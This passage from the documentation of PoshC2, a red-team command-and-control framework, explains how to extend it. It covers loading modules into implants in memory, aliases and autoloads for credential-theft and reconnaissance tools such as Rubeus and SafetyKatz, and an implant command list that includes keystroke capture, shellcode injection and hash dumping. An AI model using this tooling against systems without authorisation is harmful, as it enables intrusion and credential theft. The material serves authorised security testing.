PoshC2 is also fully documented in python3 here. As PoshC2 is ever evolving and is always being updated with the latest tactics and techniques. To that end we recommend that users explore PoshC2’s source code to fully understand what is going on under the hood and how to tweak and adjust PoshC2 to match their needs and environment. For any help in doing this, see the Keep In Touch section below.

Keep In Touch

For all the latest news and features, or for the latest documentation and support check out the PoshC2 GitHub page or find us below:

Key Contributors

Extending PoshC2

Any red-teamer worth their salt will get familiar with their tooling and customise or extend it to suit their needs and the environment.

In addition to being customisable through the configuration file, such as the UserAgent and HTTP Responses in use, PoshC2 can be easily altered to suit the given situation.

For any changes that would be useful for others, please consider adding a pull request.

Adding Modules

To add a new module, simply place it in the resources/modules directory in the PoshC2 installation directory.

Any PowerShell script can be loaded by the PowerShell implant and executed in memory:

loadmodule MyPowerShellScript.ps1
Invoke-MyCmdlet

Or similarly for Python Implant

loadmodule MyPythonScript.py
my_python_function("arg")

The C# Implant also has the ability to load and execute modules in memory, but these modules are C#.NET executables. These modules are invoked through .NET reflection and do not touch disk, and PoshC2 requires a few extra bits of information.

  • The Namespace of the class containing the Main method
  • The Class name of the class containing the Main method
  • The Assembly name
loadmodule MySharpStuff.exe
run-exe Namespace.Class Assembly <args>

For example, if the below code was compiled into an executable:

using System;

namespace ConsoleApp1
{
    class MySuperProgram
    {
        static void Main(string[] args)
        {
            if (args.Length >= 1)
            {
                Console.WriteLine(args[0]);
            }
        }
    }
}

Then we can see the namespace is ConsoleApp1, and the class is MySuperProgram

The Assembly Name can be found in Visual Studio by right-clicking the project (not the solution) and choosing Properties

_images/assemblyname.png

Alternatively it can be found in the Projects .csproj file:

_images/assemblyname2.png

In this case the Assembly Name is PwnStuff.

The command then to run the executable and print “PoshC2Rocks” would be:

run-exe ConsoleApp1.MySuperProgram PwnStuff PoshC2Rocks
_images/run-exe.png

There is also a run-dll command which works exactly the same way as run-exe for C#.NET DLLs, however there is one additional argument which specifies the entry point (and the class and namespace must match that of this entrypoint):

run-dll ConsoleApp1.MySuperProgram PwnStuff MyEntryMethod PoshC2Rocks

Adding Aliases

We fully appreciate that nobody wants to type run-exe ConsoleApp1.MySuperProgram PwnStuff PoshC2Rocks over and over, and that is why we added aliases in poshc2/client/Alias.py.

Aliases can either replace full or part commands, depending on the preference:

# C# Implant
cs_alias = [
    ["s", "get-screenshot"],
]

# Parts of commands to replace if command starts with the key
cs_replace = [
    ["safetydump", "run-exe SafetyDump.Program SafetyDump"],
    ["sharpup", "run-exe SharpUp.Program SharpUp"],
    ["seatbelt", "run-exe Seatbelt.Program Seatbelt"],
    ["rubeus", "run-exe Rubeus.Program Rubeus"],
    ["sharpview", "run-exe SharpView.Program SharpView"],
    ["sharphound", "run-exe Sharphound2.Sharphound Sharphound"],
    ["sharpweb", "run-exe SharpWeb.Program SharbWeb"],
    ["watson", "run-exe Watson.Program Watson"],
    ["pwnstuff", "run-exe ConsoleApp1.MySuperProgram PwnStuff"]
]

There are separate lists for each Implant type, and the _alias lists replace the full typed command with the value if the full typed command matches the alias.

For example, if the user types s, that is replaced with get-screenshot. If the user types sort, that is not.

The *_replace lists replace the alias with the value if the typed command starts with the alias, allowing the command to take arguments.

For example, if the user types rubeus kerberoast, it will be replaced with run-exe Rubeus.Program Rubeus kerberoast. If the user types echo "rubeus", no substitution will take place.

Adding the pwnstuff alias then allows us to run pwnstuff PoshC2Rocks instead of run-exe ConsoleApp1.MySuperProgram PwnStuff PoshC2Rocks.

Adding Autoloads

PoshC2 allows certain modules to be loaded automatically when a command is run. This is useful for loading a frequently used module without requiring the user to load it manually first, but has the risk of loading modules into memory by mistake if the user runs the wrong command at the wrong time.

To add an autoload, edit poshc2/server/Autoloads.py and add a line for your command for the Implant type. For example, we can load PwnStuff.exe automatically when the user runs a pwnstuff ... command.

def run_autoloads_sharp(command, randomuri, user):
    command = command.lower().strip()
    if command.startswith("run-exe seatbelt"): check_module_loaded("Seatbelt.exe", randomuri, user)
    elif command.startswith("run-exe sharpup"): check_module_loaded("SharpUp.exe", randomuri, user)
    elif command.startswith("run-exe safetydump"): check_module_loaded("SafetyDump.exe", randomuri, user)
    elif command.startswith("run-exe rubeus"): check_module_loaded("Rubeus.exe", randomuri, user)
    elif command.startswith("run-exe sharpview"): check_module_loaded("SharpView.exe", randomuri, user)
    elif command.startswith("run-exe watson"): check_module_loaded("Watson.exe", randomuri, user)
    elif command.startswith("run-exe sharphound"): check_module_loaded("SharpHound.exe", randomuri, user)
    elif command.startswith("run-exe internalmonologue"): check_module_loaded("InternalMonologue.exe", randomuri, user)
    elif command.startswith("run-exe sharpsocks"): check_module_loaded("SharpSocks.exe", randomuri, user)
    elif command.startswith("run-exe sharpweb"): check_module_loaded("SharpWeb.exe", randomuri, user)
    elif command.startswith("run-exe wmiexec.program"): check_module_loaded("WExec.exe", randomuri, user)
    elif command.startswith("run-exe smbexec.program"): check_module_loaded("SExec.exe", randomuri, user)
    elif command.startswith("run-exe invoke_dcom.program"): check_module_loaded("DCOM.exe", randomuri, user)
    elif command.startswith("sharpsocks"): check_module_loaded("SharpSocks.exe", randomuri, user)
    elif command.startswith("safetykatz"): check_module_loaded("SafetyKatz.exe", randomuri, user)
    elif command.startswith("pwnstuff"): check_module_loaded("PwnStuff.exe", randomuri, user)

Adding Auto-completion

If you want to add an entry in the autocompletion prompt for your module, or add it to the help command, then you can add it to poshc2/client/Help.py.

Simply add it to the relevant lists for the different prompt contexts (C# Implant, PS Implant etc) for the autocompletion or to the relevant help text block and restart the Implant-Handler.

These commands can include aliases.

SHARPCOMMANDS = ["get-userinfo", "stop-keystrokes", "get-keystrokes", "delete", "move", "label-implant", "upload-file", "quit",
             "download-file", "get-content", "ls-recurse", "turtle", "cred-popper", "resolveip", "resolvednsname", "testadcredential",
             "testlocalcredential", "get-screenshot", "modulesloaded", "get-serviceperms", "unhide-implant", "arpscan", "ls", "pwd", "dir",
             "inject-shellcode", "start-process", "run-exe", "run-dll", "hide-implant", "help", "searchhelp", "listmodules", "loadmodule",
             "loadmoduleforce", "back", "ps", "beacon", "setbeacon", "kill-implant", "get-screenshotmulti", "safetydump", "seatbelt", "sharpup",
             "sharphound", "rubeus", "sharpview", "watson", "get-hash", "migrate", "sharpsocks", "safetykatz", "get-computerinfo", "get-dodgyprocesses", "sharpweb", "pwnstuff"

Adding Payloads

Payloads are generated when the C2 Server first starts for a new project, or when a new payload is created from the Implant-Handler through create*payload commands, such as createnewpayload and createdaisypayload.

The generation of these payloads can be altered by editing the templates in the resources/payload-templates directory of the installation directory and/or editing poshc2/server/Payloads.py, which is responsible for the generation of the payloads.

If you want to add a brand new payload type, a new payload-generator file can be added to poshc2/server/payloads/.

Any new Python file in this directory will be imported and the create_payloads function executed, passing in the provided Payload details and name.

Operators can extend PoshC2’s payload generation functionality in this way. See poshc2/server/payloads/Macro-Payloads.py for an example.

_images/newpayloadmodule.png

Opsec

Operation Security is important, and so to prevent operators from running potentially dangerous commands, anything listed in poshc2/client/Opsec.py will require accepting an additional prompt when the command is run.

Reporting

Reporting and logging is an extremely important part of running a Red Team engagement and PoshC2 ensures that every detail is logged to the database. It is always worth noting that PoshC2’s time-zone will work off the local server time, so if you are working in multiple countries or another time-zone, it is highly recommended that your time-zone is configured accordingly.

By default, PoshC2 records every command and all output from each Implant that is used and logs this information to the database, in addition to all the metadata around that command, such as the issuing user, the hostname and so on.

While the database can be interacted with directly, PoshC2 also has a number of reporting commands to aid in the processing of this information.

To output basic HTML reports from Implant-Handler top level prompt run the generate-reports command, which will generate a number of HTML pages to the reports directory in addition to dumping the data as CSV files.

_images/tasks-report.png

The CSV files only can be generated using the generate-csvs command.

There is also the fpc command which can be used to find a PoshC2 command. This command can search through command input and output for search terms, and filter commands using a variety of filters.

_images/fpc.png

License

BSD 3-Clause License

Copyright (c) 2020, Nettitude

All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

  • Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  • Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
  • Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.